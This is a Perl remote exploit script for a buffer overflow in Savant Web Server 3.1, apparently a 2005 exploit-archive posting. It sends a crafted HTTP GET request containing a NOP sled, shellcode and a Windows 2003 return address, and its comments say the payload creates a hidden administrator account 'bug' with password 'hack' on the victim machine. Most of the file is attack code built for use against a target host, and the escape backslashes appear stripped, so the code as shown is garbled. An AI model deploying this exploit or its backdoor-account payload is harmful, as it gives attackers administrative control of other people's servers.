#!/usr/bin/perl
#
#D:Documents and SettingsAdministratorDesktopexplo da uppareprova>savant.pl
#-h 127.0.0.1
#
#-=[     Savant Web Server 3.1 Remote Buffer Overflow Exploit            ]=-
#-=[                                                                     ]=-
#-=[ Coded by CorryL                            info:www.x0n3-h4ck.org   ]=-
#
#[+] Connect to 127.0.0.1
#[+] Using 00b7ead8 // Ret For Win2003
#[+] Sending Payload 258 byte
#[+] Creating Administrator User: User 'bug' Password 'hack'
#
#D:Documents and SettingsAdministratorDesktopexplo da uppareprova>net users
#
#Account utente per \SERVER
# Added above info from http://x0n3-h4ck.org /str0ke                             #
##################################################################################
#Savant Web Server 3.1 Remote Buffer Overflow Exploit                            #        
#                                                                                #
#This is exploit sending the 253 evil byte                                       #   
#the eip register the overwrite on 254 > 258 byte                                #
#exploit succefull created the Administrator User                                #
#in the server victim                                                            #
#Tested on win2003 server using ret 00b7ead8                                     #
#										 #
#D:Documents and SettingsAdministratorDesktopexplo da uppareprova>net users #
#Account utente per \SERVER                                                     #
#------------------------------------------------------------------------------- #
#__vmware_user__          Administrator            ASPNET                        #
#bug                      Guest                    SUPPORT_388945a0              #
#Esecuzione comando riuscita.                                                    # 
#D:Documents and SettingsAdministratorDesktopexplo da uppareprova>          #
# 										 #
#thanks to Mati Aharoni for discovered the bug     			         #  
#  	                                                  info: www.x0n3-h4ck.org#
##################################################################################

use IO::Socket; 
use Getopt::Std; getopts('h:', %args);


if (defined($args{'h'})) { $host = $args{'h'}; }

print STDERR "n-=[     Savant Web Server 3.1 Remote Buffer Overflow Exploit            ]=-n";
print STDERR "-=[                                                                     ]=-n";
print STDERR "-=[ Coded by CorryL                            info:www.x0n3-h4ck.org   ]=-nn";

if (!defined($host)) {
Usage();
}

$nop = "x90"x13;
$ret= "xd8xeaxb7x00";
my $shellcode =
"x2bxc9x83xe9xcaxd9xeexd9x74x24xf4x5bx81x73x13x09".
"xb1xc5xbdx83xebxfcxe2xf4xf5x59x83xbdx09xb1x4exf8".
"x35x3axb9xb8x71xb0x2ax36x46xa9x4exe2x29xb0x2ex5e".
"x27xf8x4ex89x82xb0x2bx8cxc9x28x69x39xc9xc5xc2x7c".
"xc3xbcxc4x7fxe2x45xfexe9x2dxb5xb0x5ex82xeexe1xbc".
"xe2xd7x4exb1x42x3ax9axa1x08x5ax4exa1x82xb0x2ex34".
"x55x95xc1x7ex38x71xa1x36x49x81x40x7dx71xbex4exfd".
"x05x3axb5xa1xa4x3axadxb5xe0xbaxc5xbdx09x3ax85x89".
"x0cxcdxc5xbdx09x3axadx81x56x80x33xddx5fx5axc8xd5".
"xf9x3bxc1xe2x61x29x3bx37x07xe6x3ax5axe1x5fx3ax42".
"xf6xd2xa8xd9x27xd4xbdxd8x29x9exa6x9dx67xd4xb1x9d".
"x7cxc2xa0xcfx29xd3xb0xdax29xd9xa4xdex62x91xeaxfc".
"x4dxf5xe5x9bx2fx91xabxd8x7dx91xa9xd2x6axd0xa9xda".
"x7bxdexb0xcdx29xf0xa1xd0x60xdfxacxcex7dxc3xa4xc9".
"x66xc3xb6x9dx6bxc4xa2x9dx26xf0x81xf9x09xb1xc5xbd";

print "[+] Connect to $hostn";

$socket = new IO::Socket::INET (PeerAddr => "$host",
                                PeerPort => 80,
                                Proto => 'tcp');
                                die unless $socket;
                                print "[+] Using 00b7ead8 // Ret For Win2003n"; 
                                $buff = $nop.$shellcode.$ret;
                                print "[+] Sending Payload 258 byten";
                                $data = "GET /$buff rnrn";
         
                                send ($socket,$data,0);
print "[+] Creating Administrator User: User 'bug' Password 'hack'n";
close;

sub Usage {
print STDERR "Usage:
-h Victim host.nn";
exit;
}

# www.Syue.com [2005-02-04]